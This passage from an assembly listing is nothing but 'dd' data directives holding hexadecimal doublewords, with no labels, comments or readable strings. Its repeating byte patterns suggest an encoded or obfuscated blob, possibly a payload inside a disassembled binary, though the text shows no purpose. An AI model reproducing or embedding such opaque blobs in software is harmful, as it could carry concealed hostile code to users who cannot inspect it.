		dd 0E963CC8Ch, 8C896360h, 158C95C6h, 1D883D5Bh,	999F8C8Dh
		dd 8C8D1C48h, 0A595741Fh, 0C7E894D9h, 8D1C643Dh, 98741F8Ch
		dd 89E95BA5h, 8D1C743Dh, 9F5B158Ch, 8D1C48A1h, 91731F8Ch
		dd 9C9DFA75h, 0D0A1179Ch, 1F8C8D1Dh, 81179973h,	8C8D1C68h
		dd 50892393h, 9D8C8D1Dh, 8923934Fh, 8C8D1DC0h, 0A59F761Fh
		dd 933801C8h, 9C9DA618h, 0D4A1179Ch, 1F8C8D1Eh,	0B0759873h
		dd 3D9C9C9Dh, 8C8D1D00h, 1EEC999Fh, 741F8C8Dh, 2899A590h
		dd 0E98C8D1Eh, 1D643D84h, 65998C8Dh, 0CC9C9CA3h, 8963DCF6h
		dd 8C99B570h, 8D1E283Fh, 20D9118Ch, 1D683DCCh, 67998C8Dh
		dd 0CC9C9CA3h, 1E28A963h, 9DF68C8Dh, 6360E963h,	95C68C89h
		dd 9923938Ch, 8C8D1C6Ch
		dd 0A59F741Fh, 8D1E2C99h, 0F693E98Ch, 639CF688h, 99B57089h
		dd 1E2C3F8Ch, 9DF68C8Dh, 1E2CA963h, 89638C8Dh, 8C9D9C94h
		dd 9CF65B15h, 8D1EC43Dh, 0F6CCD48Ch, 2CA9639Dh,	638C8D1Eh
		dd 99AD7889h, 0F65B158Ch, 1E283D9Ch, 0AC638C8Dh, 1E2CA963h
		dd 89638C8Dh, 8C99B574h, 6BF45B15h, 748C8D0Ch, 63633178h
		dd 6CC111C5h, 2393CCCFh, 8D1DB081h, 99771F8Ch, 0BC8963CFh
		dd 158C9C6Ch, 1C683D5Bh, 999F8C8Dh, 8C8D1C24h, 1595741Fh
		dd 0CC3D70D9h, 1F8C8D1Eh, 5BA59E74h, 0D95BA1E8h, 9C9C9E64h
		dd 9923939Ch, 8C8D1DB0h, 0CC99741Fh, 6C992393h,	938C8D1Ch
		dd 1EFC8923h, 4C9D8C8Dh, 0CC90741Fh, 1D5CA963h,	0D9118C8Dh
		dd 9CF6CC70h, 6360E963h, 95D58089h, 0CA5B158Ch,	0D6D48963h
		dd 0E9638C95h, 0D4896360h, 158C95D6h, 0C7C2C364h, 15C95F55h
		dd 0F0701D79h, 0CF9C9C9Eh, 47ADCBCAh, 0C73F4DFh, 0DD748C8Dh
		dd 63636331h, 11CC94E9h, 63612221h, 8963CB63h, 8C91C6B4h
		dd 118C581Fh, 63625E19h, 1911CC63h, 63636122h, 0B48963CCh
		dd 158C95AFh, 63612419h, 99239363h, 8C8D1DDCh, 1C7C8917h
		dd 0D8118C8Dh, 19A5658Ch, 63636124h, 9C631993h,	0D9119C9Ch
		dd 0D911CCBCh, 8963CC8Ch, 8C8DF08Ch, 613C1915h,	0F03D6363h
		dd 1F8C8D1Dh, 19A59574h, 6363613Ch, 211191E2h, 63636104h
		dd 39BCE911h, 11977739h, 63610421h, 8CE91163h, 19113939h
		dd 63636134h, 41911CCh,	0CC636361h, 0C7E48963h,	2B938C8Dh
		dd 63613219h, 0A8891763h, 1D8C8D1Dh, 9C990D5Eh,	9123939Ch
		dd 8C8D1C3Ch, 3393569Dh, 92B935Eh, 63636136h, 1D6C9117h
		dd 5D1D8C8Dh, 9C9C342Eh, 1DE0919Fh, 33938C8Dh, 934C9D4Dh
		dd 612E092Bh, 4C9D6363h, 34092B93h, 17636361h, 8D1C4091h
		dd 655D1D8Ch, 939C9B74h, 4C9D4D33h, 2C092B93h, 17636361h
		dd 8D1E8491h, 0A75D1F8Ch, 9D4D3393h, 3819154Ch,	17636361h
		dd 9C6CAC89h, 934CA58Ch, 9C9D8E1Bh, 3D5EB59Ch, 8C8D1C74h
		dd 9C8C4599h, 935EA59Ch, 9C9C621Ah, 94E9639Ch, 6C908963h
		dd 19158C9Ch, 63636108h, 9C9C7675h, 1D003D9Ch, 201C8C8Dh
		dd 63627B99h, 1893B263h, 9C9C9C53h, 8D0C7AF4h, 3746748Ch
		dd 21116363h, 63636272h, 94E963CBh, 222111CCh, 0CB636361h
		dd 0C6B48963h, 29118C91h, 6363625Eh, 9DDC701Dh,	7B159C9Ch
		dd 9C9C0325h, 39FA6F9Ch, 61222111h, 74CB6363h, 636362DAh
		dd 9DC4581Dh, 1C759C9Ch, 119C9C9Ch, 63625E19h, 2963CC63h
		dd 63636124h, 93548963h, 5F158C9Dh, 8D1ED43Dh, 98741F8Ch
		dd 0FBE844A5h, 8D1ED03Dh, 9C999F8Ch, 1C8C8D1Eh,	627A9920h
		dd 0E8B26363h, 0C41F4D6h, 0C9748C8Dh, 11636337h, 63627221h
		dd 0E963CB63h, 2111CC94h, 63636122h, 0B48963CBh, 118C91C6h
		dd 63625E29h, 0DC701D63h, 159C9C9Dh, 9C03257Bh,	0FA6F9C9Ch
		dd 22211139h, 0CB636361h, 63615D74h, 0C4581D63h, 959C9C9Dh
		dd 0E4199347h, 0C3636363h, 5F55C7C2h, 0C4CF4CBh, 61748C8Dh
		dd 0C5636336h, 48963CCh, 3F8C9DB9h, 8C8D1E10h, 8D1DA43Dh
		dd 8923938Ch, 8C8D1EFCh, 741F4C9Dh, 1099A590h, 0E98C8D1Eh
		dd 0C5FF48Bh, 51748C8Dh, 0C5636336h, 848963CCh,	3F8C99AFh
		dd 8C8D1E10h, 8D0C33F4h, 362A748Ch, 63CC6363h, 8D1E10A9h
		dd 3089638Ch, 3F8C9DBDh, 8C9DB948h, 8D0C01F4h, 3606748Ch
		dd 63CC6363h, 8D1E10A9h, 3089638Ch, 3F8C9DBDh, 8C9DBC10h
		dd 8D0C16F4h, 36E2748Ch, 63CC6363h, 8D1E10A9h, 3089638Ch
		dd 3F8C9DBDh, 8C8DEDC4h, 8D0CE6F4h, 36FE748Ch, 63CC6363h
		dd 8D1E10A9h, 3089638Ch, 3F8C9DBDh, 8C9DBC18h, 8D0CF5F4h
		dd 36DA748Ch, 63CC6363h, 8D1E10A9h, 3089638Ch, 3F8C9DBDh
		dd 8C99AD70h, 8D0CC6F4h, 36B6748Ch, 581F6363h, 0A963CC84h
		dd 8C8D1E10h, 0BD308963h, 0A03F8C9Dh, 0C38C91C6h, 7915C95Fh
		dd 0D911CBCDh, 85F4CC60h, 939C9E9Ch, 1C2C9923h,	0CCD48C8Dh
		dd 6390E963h, 896394E9h, 8C9DB900h, 23935B15h, 8D1DC099h
		dd 9F741F8Ch, 98E864A5h, 0D7775CADh, 6384E963h,	0E96388E9h
		dd 1D2C3D80h, 999F8C8Dh, 8C8D1D74h, 0CC92741Fh,	638CE963h
		dd 896360E9h, 8C9C6CD0h, 0E9635B15h, 94896360h,	3D8C95C6h
		dd 8C8D1C5Ch, 0A8892393h, 9D8C8D1Eh, 99741F4Ch,	98E85BA5h
		dd 9F775CADh, 0C3DC5CADh, 9D245F55h, 5E1C9CDCh,	15C99C84h
		dd 0C8701D79h, 0CF9C9C9Eh, 1911CBCAh, 63636270h, 1D4C3DCCh
		dd 741F8C8Dh, 2393CC9Fh, 8D1D8C99h, 0F6CCD48Ch,	992393BDh
		dd 8C8D1D34h, 1EF8999Fh, 741F8C8Dh, 8963CC9Fh, 8C99B69Ch
		dd 603D5F15h, 1F8C8D1Ch, 44A59E74h, 9C281993h, 0D9119C9Ch
		dd 8963CC6Ch, 8C95A9ACh, 66D92B93h, 6EC92B93h, 1C409117h
		dd 5D1D8C8Dh, 9C9C3425h, 80812393h, 9D8C8D1Dh, 4D339345h
		dd 2B934C9Dh, 91176AC9h, 8C8D1C7Ch, 99035D1Dh, 33939C9Ch
		dd 934C9D4Dh, 176CC92Bh, 8D1ECC91h, 675D1D8Ch, 9F9C9B74h
		dd 8D1D0491h, 4D33938Ch, 2B934C9Dh, 911764C9h, 8C8D1ED8h
		dd 93A95D1Fh, 4C9D4D33h, 9C6CAC3Fh, 9923938Ch, 8C8D1DC0h
		dd 0DC892393h, 9D8C8D1Eh, 9F741F4Ch, 61561915h,	29116363h
		dd 63636132h, 9DDC701Dh, 7B159C9Ch, 9C9C0325h, 39FA6F9Ch
		dd 62702111h, 74CB6363h, 636367B2h, 9DD8581Dh, 0C2C39C9Ch
		dd 0C95F55C7h, 0CBCA7915h, 1794E117h, 0D91790E9h, 88C9178Ch
		dd 6D154E6Bh, 54AD4D95h, 9D84D99Fh, 9F5B1564h, 0E963BCE1h
		dd 2D74CB80h, 1F9C9C80h, 6B159458h, 64155B9Dh, 5FC1C2C3h
		dd 0CA7915C9h, 94E117CBh, 1790E917h, 6E15BCD9h,	0AF8CC9AFh
		dd 4C9D88C9h, 9D84D99Fh, 635B1564h, 74CB80E9h, 9C9C80E0h
		dd 1594581Fh, 155B9D6Bh, 0C1C2C364h, 7915C95Fh,	9FBC9424h
		dd 0E876749Ch, 0CACF9C9Ch, 992393CBh, 8C8D1DF4h, 1E94999Fh
		dd 741F8C8Dh, 8019159Ah, 6363607Dh, 0E9638CE9h,	0C56C3D90h
		dd 18118C95h, 607DB499h, 8963CC63h, 8C95D588h, 9390581Fh
		dd 1D209923h, 23938C8Dh, 8D1EA089h, 1F4C9D8Ch, 3DCC9474h
		dd 8C8D1DA4h, 1C20999Fh, 741F8C8Dh, 9FF6CC9Fh, 8D1DF03Dh
		dd 95741F8Ch, 1DB83DCCh, 999F8C8Dh, 8C8D1EC4h, 0CC96741Fh
		dd 9C9C9DF4h, 94E9635Ch, 0F0848963h, 19158C8Dh,	6363730Ch
		dd 1DFC9117h, 5D1F8C8Dh, 24919F6Eh, 0A58C8D1Ch,	63B7E95Dh
		dd 607D8019h, 1C383D63h, 741F8C8Dh, 8019A794h, 0E963607Dh
		dd 94E96392h, 632BCB74h, 0E475C563h, 0AD636363h, 884F755Ch
		dd 743D9C9Ch, 9F8C8D1Dh, 8D1C5499h, 9B741F8Ch, 0C2963CCh
		dd 63636373h, 95C68889h, 6CD9158Ch, 9D636399h, 8CD99F9Ch
		dd 639CF6CCh, 99B57089h, 60D9158Ch, 1D60A963h, 19118C8Dh
		dd 63607DBCh, 6CE963CCh, 6360E963h, 63730C29h, 0A8896363h
		dd 178C9C6Ch, 0DC1760D9h, 5C1915A0h, 1763636Bh,	607DBC19h
		dd 9C64B163h, 19A59C9Ch, 63636B5Ch, 88D41B93h, 19179C9Ch
		dd 63636B5Ch, 1560D99Fh, 2B9364D9h, 0D9CCA19Ch,	19939C9Ch
		dd 9C9C88B2h, 9364D917h, 93C0DC2Bh, 1D1C8923h, 0A5D68C8Dh
		dd 8B18934Ch, 1F9C9C88h, 6372E039h, 0D9179C63h,	0CC2B9364h
		dd 409117D8h, 1F8C8D1Ch, 56A59A5Dh, 8917A3E9h, 8C8D1E80h
		dd 14945E1Fh, 661C86CCh, 93B2E89Ch, 15DADC2Bh, 607D9019h
		dd 1D743D63h, 999F8C8Dh, 8C8D1ED4h, 0A59E741Fh,	607D9019h
		dd 5B1F9363h, 5B9C9C8Fh
		dd 6372E019h, 9C9C9D63h, 1DA03D9Ch, 23938C8Dh, 8D1DF489h
		dd 1F4C9D8Ch, 19A59174h, 636372E0h, 3C3DCFE8h, 9F8C8D1Dh
		dd 8D1D6C99h, 9F741F8Ch, 7D9019A5h, 83EF6360h, 1F64D917h
		dd 2B939A5Ch, 7C91178Ch, 9F8C8D1Dh, 8D1D0C91h, 97751F8Ch
		dd 15FA56B5h, 1782778Ch, 5C1F64D9h, 8C2B939Ah, 1DC49117h
		dd 93DD8C8Dh, 1DECA123h, 659D8C8Dh, 15FA56B5h, 64D9178Ch
		dd 9C1C1417h, 11159C9Ch, 6363674Ch, 9C481C17h, 64999C9Ch
		dd 9F9C9C9Ch, 636B5C19h, 10191563h, 24636373h, 9C9C9CB4h
		dd 80912393h, 1F8C8D1Dh, 7D6B9F5Dh, 7D941915h, 199D6360h
		dd 63637310h, 9C9CB424h, 64D1179Ch, 9AD52B93h, 19157D6Bh
		dd 63607D98h, 7310199Dh, 0D9176363h, 0C8DC1764h, 731019A5h
		dd 1B936363h, 9C9C8E7Eh, 78992393h, 938C8D1Ch, 1DDC8923h
		dd 4C9D8C8Dh, 1599741Fh, 683D78D9h, 9F8C8D1Dh, 8D1DE499h
		dd 94741F8Ch, 6F301915h, 23936363h, 8D1C7899h, 3819158Ch
		dd 3D636373h, 8C8D1DA8h, 1EF0999Fh, 741F8C8Dh, 5019158Ch
		dd 75636367h, 9C9C9C22h, 9C9CB424h, 50396B9Ch, 15636367h
		dd 607C6419h, 5C191763h, 9963636Bh, 9C9C9C64h, 1760D99Fh
		dd 607C6409h, 9D4A1563h, 90DA175Ah, 1594DA9Fh, 607D9C19h
		dd 8CDA1763h, 1588DA9Fh, 607C6019h, 30111763h, 0A563636Fh
		dd 159AEA54h, 636F3019h, 78D91763h, 7D9C19A5h, 95EA6360h
		dd 7D9C1917h, 0D9156360h, 64D91778h, 9C341C17h,	19A79C9Ch
		dd 63607D9Ch, 0DAA786EFh, 1789EE90h, 0C91788DAh, 341E9F64h
		dd 0B79C9C9Ch, 191590DAh, 63637338h, 674C1917h,	0CA176363h
		dd 0EE4CA590h, 94CA9F87h, 88EF4CA5h, 1788DA17h,	63674C09h
		dd 90CAB763h, 19154C9Dh, 63636B20h, 67501963h, 0D9176363h
		dd 0DC2B9364h, 5019A59Ah, 93636367h, 6363B31Eh,	99239363h
		dd 8C8D1DD8h, 9C936399h, 0E963CC9Ch, 7CF87478h,	581F6363h
		dd 78D91594h, 8D1C583Dh, 4C999F8Ch, 1F8C8D1Dh, 19A59074h
		dd 636372E0h, 191795E8h, 63636F30h, 176CD915h, 239364D9h
		dd 8D1DB089h, 9123938Ch, 8C8D1E90h, 761F569Dh, 340CA599h
		dd 0E99C9C9Ch, 30191793h, 0A563636Fh, 19936CD9h, 9C9C8DC6h
		dd 50992393h, 9F8C8D1Dh, 8D1C0C99h, 9B741F8Ch, 733819A5h
		dd 18936363h, 9C9C9C59h, 8D1D943Dh, 9E741F8Ch, 7C641915h
		dd 0F03D6360h, 1F8C8D1Dh, 19159574h, 63607D9Ch,	1917D277h
		dd 63637338h, 7C681915h, 80246360h, 6B9C9C9Ch, 607D9C39h
		dd 6C191563h, 1763607Ch, 607C6819h, 6C091763h, 9D63607Ch
		dd 60D99F4Ch, 7C601915h, 9176360h, 63607C64h, 0EA84CCA5h
		dd 84DC1795h, 7C641915h, 19636360h, 63607D9Ch, 1764E117h
		dd 9C9C301Bh, 9C80259Ch, 745D9C9Ch, 0D5B9269Eh,	7E6BB80Eh
		dd 7C680915h, 4B156360h, 7D9C21A5h, 16EE6360h, 6364D917h
		dd 2963A0ECh, 63607C64h, 6343CD74h, 94581F63h, 7C641915h
		dd 19176360h, 63636F30h, 7C6419A7h, 95E86360h, 936CD9A7h
		dd 9C8CE519h, 14391F9Ch, 9C636373h, 8D1D0C3Dh, 9A741F8Ch
		dd 67541915h, 0D8756363h, 179C9C9Dh, 63675419h,	20199F63h
		dd 9F63636Bh, 191560D9h, 63604360h, 8D1ED03Dh, 40999F8Ch
		dd 1F8C8D1Dh, 9179274h,	63604360h, 18939EA7h, 9C9C9DB4h
		dd 6B201917h, 9176363h,	63604360h, 0B790CE17h, 63674C09h
		dd 154C9D63h, 60436419h, 60D99F63h, 9D1911CCh, 0CC63607Ch
		dd 0BD388963h, 581F8C9Dh, 1EEC3D94h, 741F8C8Dh,	9C191599h
		dd 7763607Dh, 9C1917B7h, 1663607Dh, 7C9D9918h, 0E6A06360h
		dd 0FDA088E1h, 19178CE2h, 63607D9Ch, 9D991811h,	1C63607Ch
		dd 1963BCB4h, 63607D9Ch, 7D9C1917h, 22936360h, 7C9D9918h
		dd 89176360h, 8C8D1C38h, 0A595761Fh, 9326E94Ch,	1C309923h
		dd 999F8C8Dh, 8C8D1C04h, 6299201Ch, 0AF636043h,	0D83DF2E9h
		dd 1C8C8D1Eh, 43609920h, 0E9CE6360h, 992393C3h,	8C8D1EF4h
		dd 6399201Ch, 0D9636043h, 0EC3DD2E9h, 9F8C8D1Eh, 8D1D4099h
		dd 99201C8Ch, 6360436Fh, 93A5E9D7h, 1C6C9923h, 999F8C8Dh
		dd 8C8D1D94h, 9D99201Ch, 0D063607Ch, 283DBEE9h,	938C8D1Ch
		dd 1EA88923h, 4C9D8C8Dh, 9C99201Ch, 0AE63607Ch,	195B96E9h
		dd 63637314h, 9C9C9C9Dh, 6754191Fh, 17886363h, 1C1764D9h
		dd 9C9C9C18h, 675419A5h, 1E936363h, 6363623Bh, 8D1DB83Dh
		dd 95741F8Ch, 731419A5h, 18936363h, 9C9C926Eh, 0FA64D917h
		dd 9D8AD41Fh, 95C56C3Dh, 9918118Ch, 63607DB4h, 67481915h
		dd 0DC176363h, 241915A0h, 9F63636Bh, 63674819h,	28191563h
		dd 1F63636Bh, 6372E021h, 19939C63h, 9C9C9D99h, 9364D917h
		dd 1D208923h, 899F8C8Dh, 8C8D1C0Ch, 0A59A761Fh,	9C9C480Ch
		dd 7A18939Ch, 179C9C9Ch, 8D1D4889h, 88899F8Ch, 1F8C8D1Dh
		dd 0CA59776h, 9C9C9C4Ch, 9C571893h, 9179C9Ch, 63637310h
		dd 93C8CCA5h, 9C9C201Ah, 5C19179Ch, 1563636Bh, 607C6419h
		dd 9CB42463h, 0D1179C9Ch, 0D52B9364h, 157D6B9Ah, 607C6819h
		dd 64191763h, 1763607Ch, 607C6809h, 8C181163h, 9C9C9C64h
		dd 7D9C1915h, 0B4246360h, 179C9C9Ch, 8D1E8491h,	9E5D1F8Ch
		dd 19157D6Bh, 63607C6Ch, 7D9C199Fh, 19156360h, 63607C60h
		dd 6364D917h, 9C9C482Ch, 60D9179Ch, 7D9C0917h, 5E9D6360h
		dd 600917CEh, 9D63607Ch, 8963CE5Eh, 8C95D588h, 1790581Fh
		dd 4C9964D9h, 159C9C9Ch, 607C7019h, 9CB42463h, 91179C9Ch
		dd 8C8D1D18h, 1EC4919Fh, 751F8C8Dh, 157D6B9Ah, 607C7419h
		dd 70191763h, 1563607Ch, 7411175Eh, 9D63607Ch, 64D91796h
		dd 63A0EC63h, 0C7746CE9h, 15636340h, 19176CD9h,	63636B5Ch
		dd 7D9C1915h, 0B4246360h, 179C9C9Ch, 2B9364D1h,	7D6B9AD5h
		dd 7C601915h, 0D99F6360h, 9C091760h, 1163607Dh,	9C649E28h
		dd 0CDF49C9Ch, 748C8D0Ch, 63630374h, 8963CACCh,	8C9DBD38h
		dd 8D1D903Dh, 9C89998Ch, 999F7C9Ch, 8C8D1C68h, 17B8DA15h
		dd 19156CD9h, 63636B2Ch, 8D1D043Dh, 636A998Ch, 999F9C9Dh
		dd 8C8D1DC8h, 3D94DA15h, 8C8D1ECCh, 9F985C1Fh, 8D1D0C99h
		dd 283DCC8Ch, 9F8C8D1Ch, 8D1DF099h, 91741F8Ch, 1F6C15CCh
		dd 63CC845Ch, 95D6A889h, 78D9178Ch, 733C1915h, 0D9176363h
		dd 90DA1578h, 156CD917h, 0D91788DAh, 0A0EC6364h, 9F8CD917h
		dd 95C56C99h, 0F74CC8Ch, 15636347h, 89638CDAh, 8C8DEDCCh
		dd 1ED0A117h, 23938C8Dh, 8D1E9089h, 1F4B9D8Ch, 61259873h
		dd 59C9C9Ch, 4B9D656Bh,	73002115h, 0D9176363h, 90CA1764h
		dd 1594CA9Fh, 0D03DCCCCh, 998C8D1Dh, 9C9D636Fh,	3C892393h
		dd 9D8C8D1Ch, 78D99D4Ch, 1F64D917h, 63FA9A5Ch, 64D9179Ch
		dd 17A0EC63h, 0DA9F6CD9h, 0B774CC8Ch, 1F636347h, 0D915AC58h
		dd 1DA83D6Ch, 5C1F8C8Dh, 581915A4h, 77636367h, 0CC8963A9h
		dd 178C8DEDh, 63675821h, 48091763h, 15636367h, 607C6809h
		dd 64191563h, 2563607Ch, 9C9C9C63h, 17656B05h, 607C6811h
		dd 0A5881463h, 67581963h, 19176363h, 63636B24h,	675819A5h
		dd 21EE6363h, 0EDCC8963h, 0A1178C8Dh, 8C8D1D7Ch, 0F4892393h
		dd 9D8C8D1Dh, 90731F4Bh, 6B24219Fh, 9176363h, 63636748h
		dd 7C700915h, 19156360h, 63607C6Ch, 9C9C6325h, 656B059Ch
		dd 7C701117h, 88146360h, 1C743DA5h, 741F8C8Dh, 4809179Bh
		dd 17636367h, 63730011h
		dd 0D16D1F63h, 639E9014h, 8DEDCC89h, 2421178Ch,	1763636Bh
		dd 63674809h, 78091563h, 1563607Ch, 607C7419h, 9C632563h
		dd 6B059C9Ch, 78111765h, 1463607Ch, 2393A588h, 8D1EA0A1h
		dd 8923938Ch, 8C8D1D70h, 731F4B9Dh, 48091799h, 17636367h
		dd 755D8CD1h, 0A6901495h, 8D1DB43Dh, 9B741F8Ch,	72E019A5h
		dd 0FCE86363h, 1764D917h, 899FA8CCh, 8C8D1C40h,	15B4CC9Fh
		dd 607C7C09h, 2C191763h, 1F63636Bh, 0C917945Ch,	9E981760h
		dd 7C401915h, 383D6360h, 1F8C8D1Ch, 9179974h, 63607C40h
		dd 1D689117h, 5D1F8C8Dh, 9D56B566h, 7C199F4Ch, 1563607Ch
		dd 607C4419h, 64D91763h, 7C440917h, 0CCB76360h,	0B4CC15A8h
		dd 0C56CA963h, 6CF48C95h, 118C99ADh, 607DB419h,	8963CC63h
		dd 8C95D588h, 9F8CDA17h, 95C56C99h, 1911CC8Ch, 63607DB4h
		dd 88DA17CCh, 0CC60D99Fh, 0D5888963h, 581F8C95h, 88DA1784h
		dd 0C56C999Fh, 19158C95h, 63637304h, 1EAC8917h,	761F8C8Dh
		dd 154C9D9Fh, 63674019h, 17867763h, 63674019h, 60D99F63h
		dd 0AF8C2A93h, 63730009h, 638C1463h, 63674019h,	8CD91763h
		dd 7304199Fh, 19A56363h, 63636740h, 239349EEh, 8D1C4499h
		dd 64999F8Ch, 1F8C8D1Ch, 0D9159174h, 1C243D74h,	741F8C8Dh
		dd 5C191594h, 75636367h, 9C9C9E72h, 9C9CB424h, 64D1179Ch
		dd 9AD52B93h, 19157D6Bh, 63607C40h, 6B5C1917h, 64996363h
		dd 9F9C9C9Ch, 91760D9h,	63607C40h, 5A9D4A15h, 6B241917h
		dd 19156363h, 63607C44h, 9C9CB424h, 5C396B9Ch, 15636367h
		dd 607C4819h, 48191763h, 17636367h, 607C4809h, 9E181163h
		dd 9C9C9C64h, 7C440917h, 4F156360h, 23935F9Dh, 8D1D0899h
		dd 8923938Ch, 8C8D1C44h, 741F4C9Dh, 9FA01C93h, 3DAEE9EEh
		dd 8C8D1E84h, 1C985C1Fh, 0E9FF9FA0h, 992393B8h,	8C8D1EDCh
		dd 1D64999Fh, 741F8C8Dh, 9FA01C94h, 1792E9B2h, 191588DFh
		dd 6363731Ch, 9C9EAB75h, 1D683D9Ch, 0A01C8C8Dh,	0AFE9FD9Fh
		dd 8D1D943Dh, 9E741F8Ch, 0B29FA01Ch, 483DB9E9h,	1F8C8D1Dh
		dd 0A01C9474h, 8BE9F99Fh, 1588DF17h, 63731819h,	90DF1763h
		dd 72E41915h, 65756363h, 939C9C9Dh, 1D549923h, 23938C8Dh
		dd 8D1DF489h, 1F4C9D8Ch, 0A01C9774h, 81E9B29Fh,	8D1EC43Dh
		dd 9FA01C8Ch, 3D8EE9F5h, 8C8D1D84h, 1C98741Fh, 93FD9FA0h
		dd 9C9D5F18h, 9923939Ch, 8C8D1C08h, 1C9F741Fh, 93B29FA0h
		dd 9C9C1819h, 9923939Ch, 8C8D1D30h, 1C99741Fh, 0E9FE9FA0h
		dd 992393E8h, 8C8D1D1Ch, 30892393h, 9D8C8D1Ch, 9A741F4Ch
		dd 0EF9FA01Ch, 5A1FC7E9h, 99239344h, 8C8D1EE8h,	9C9C8399h
		dd 0B8DA157Ch, 8D1DFC3Dh, 9366998Ch, 23939C9Ch,	8D1DD889h
		dd 0CC4C9D8Ch, 7494EA63h, 63634BE6h, 9D94E717h,	94E2155Bh
		dd 8D1C7C3Dh, 9363998Ch, 17CC9C9Ch, 0D99F94DFh,	0C774CC78h
		dd 1F63634Bh, 0D9158C58h, 0B45A1F78h, 9C9DB775h, 0B8DF179Ch
		dd 17B8DA15h, 0DA1594DFh, 6CD91794h, 1788DA15h,	0DA158CDFh
		dd 9923938Ch, 8C8D1D70h, 1D4C8917h, 0D8118C8Dh,	3DCC9A8Ch
		dd 8C8D1ED8h, 0CC9B741Fh, 5C1F6C15h, 8963CC84h,	8C95D6A8h
		dd 1578D917h, 0CACF90DAh, 0BD388963h, 0E1178C9Dh, 90CA1774h
		dd 28210815h, 1763636Fh, 81594CFh, 636B5821h, 90CF1763h
		dd 7C210815h, 17636367h, 81588CAh, 63732C21h, 74D96363h
		dd 9D8CDF17h, 0D9176CD9h, 7C19156Ch, 1763607Ch,	0EC6364D9h
		dd 6CE963A0h, 634A2974h, 80581F63h, 176CD915h, 607C7C11h
		dd 0EA54A563h, 892393B8h, 8C8D1EF4h, 1C9E761Fh,	0E9F88FA0h
		dd 1554B588h, 607C4C19h, 8CDA9D63h, 7C4C1917h, 0DA9D6360h
		dd 64D91794h, 0FA9A5C1Fh, 23939C63h, 8D1D3099h,	9366998Ch
		dd 17CC9C9Ch, 0DF9F90DAh, 0C374CC94h, 1763634Ah, 0DB1564E1h
		dd 1C5C3DCCh, 63998C8Dh, 0CC9C9C93h, 9F78D917h,	74CC94DFh
		dd 63634ADEh, 6378D915h, 0DF178CEAh, 48199F88h,	0CC636367h
		dd 9F88DA17h, 63CC60D9h, 95D58889h, 80581F8Ch, 675C1963h
		dd 19176363h, 63636B28h, 9ADC2B93h, 675C19A5h, 1E936363h
		dd 63636060h, 731C1917h, 199F6363h, 63636748h, 3D70D915h
		dd 8C8D1DD4h, 159B741Fh, 0C0777CD9h, 177CE117h,	8E1770C9h
		dd 7C2108A5h, 0E9636367h, 70D91797h, 19159C17h,	63636F2Ch
		dd 5D7CE117h, 8179E7Bh,	636B58A1h, 0A1089F63h, 6363677Ch
		dd 0A770E117h, 17BEEA8Bh, 20177CE1h, 63732C21h,	8211563h
		dd 17636373h, 20177CE1h, 636F2821h, 30211563h, 77636373h
		dd 7CD96397h, 0A574D917h, 0EE7CD9h, 8D1D7C3Dh, 95741F8Ch
		dd 67441915h, 0F2756363h, 179C9C9Dh, 63674419h,	70D99F63h
		dd 1C608917h, 5E1F8C8Dh, 91239398h, 8C8D1EB8h, 4C9D569Dh
		dd 7C401915h, 17FA6360h, 1915FA9Ch, 63607C7Ch, 7C192B93h
		dd 1763607Ch, 8D1C6089h, 0F8899F8Ch, 1F8C8D1Eh,	4CA59976h
		dd 9DA91893h, 2B939C9Ch, 607C7C21h, 891763h, 158C8D1Dh
		dd 0D0919F4Dh, 4F8C8D1Eh, 2115FA63h, 63607C46h,	7C212B93h
		dd 1763607Ch, 8D1DD491h, 9F751F8Ch, 15FA7B4Fh, 607C7E21h
		dd 212B9363h, 63607C7Eh, 1D248917h, 23938C8Dh, 8D1DD891h
		dd 15569D8Ch, 98751F4Dh, 15FA634Fh, 607C7E21h, 192B9363h
		dd 63607C7Eh, 1C688917h, 761F8C8Dh, 0E94CA59Eh,	99239380h
		dd 8C8D1DD8h, 1DB4999Fh, 741F8C8Dh, 4419A594h, 93636367h
		dd 9C9C3619h, 2819179Ch, 1763636Bh, 2B93A8DCh, 607C7E09h
		dd 174C9D63h, 9E9F70C9h, 7C481915h, 19176360h, 63637330h
		dd 0C9179E9Fh, 0A8DE9F64h, 7E092B93h, 9D63607Ch, 2C19B74Ch
		dd 1563636Fh, 607C4C19h, 4819B763h, 1563607Ch, 607C5019h
		dd 192B9363h, 63607C46h, 1DE499A7h, 0B5E98C8Dh,	7E192B93h
		dd 9F63607Ch, 63730819h, 70C91763h, 19B79E9Fh, 63636F2Ch
		dd 1560D99Fh, 607C5419h, 50091763h, 9D63607Ch, 1D403D8Ch
		dd 999F8C8Dh, 8C8D1DF0h, 9D8C741Fh, 63674419h, 70D91763h
		dd 0A598DC17h, 63674419h, 1C1E9363h, 17636362h,	0CC1770D9h
		dd 155E9D98h, 191770C9h, 63636B28h, 9C381C17h, 9179C9Ch
		dd 6363731Ch, 6748099Fh, 4C9D6363h, 9370D9A5h, 6361521Eh
		dd 64D91763h, 15B4D417h, 6372E811h, 3C091763h, 15636373h
		dd 211FB4CCh, 636372E0h, 1F83E99Ch, 917FC5Ch, 63636B28h
		dd 9DFCCE17h, 64D9178Ch, 17F45C1Fh, 636B2809h, 0F4CE1763h
		dd 0D9178C9Dh, 0CC891764h, 1F8C8D1Eh, 15FA975Eh, 8917D8CCh
		dd 8C8D1D78h, 44912393h, 9D8C8D1Ch, 9A761F56h, 1786CC14h
		dd 63731811h, 48119F63h, 15636367h, 607D8411h, 68891763h
		dd 1F8C8D1Ch, 15FA9B5Eh, 1917DACCh, 63637318h, 0DE9F5615h
		dd 0E419B780h, 15636372h, 607D8819h, 48199F63h,	15636367h
		dd 607D8C19h, 159C1763h, 63733419h, 99239363h, 8C8D1DF4h
		dd 1C24999Fh, 741F8C8Dh, 40D91590h, 0E117DD77h,	9E7B5D40h
		dd 7CA10817h, 9F636367h, 6B58A108h, 9A76363h, 63637334h
		dd 0E117BEEAh, 21201740h, 6363677Ch, 72F42115h,	0E1176363h
		dd 21201740h, 63636F28h, 72F02115h, 97776363h, 1740D963h
		dd 0D9A574D9h, 172BEE40h, 6372F019h, 64C91763h,	9FA8DE9Fh
		dd 63733419h, 0F419B763h, 15636372h, 6372EC19h,	28191763h
		dd 1763636Bh, 199FA8DCh, 63637334h, 73341915h, 19176363h
		dd 63636B2Ch, 7568D915h
		dd 9C9C9E1Ah, 1768D917h, 2A9360C9h, 0A1179E90h,	8C8D1E84h
		dd 9C7B5B1Dh, 0A19F9C9Ch, 8C8D1EB0h, 199365A5h,	9C9C9D88h
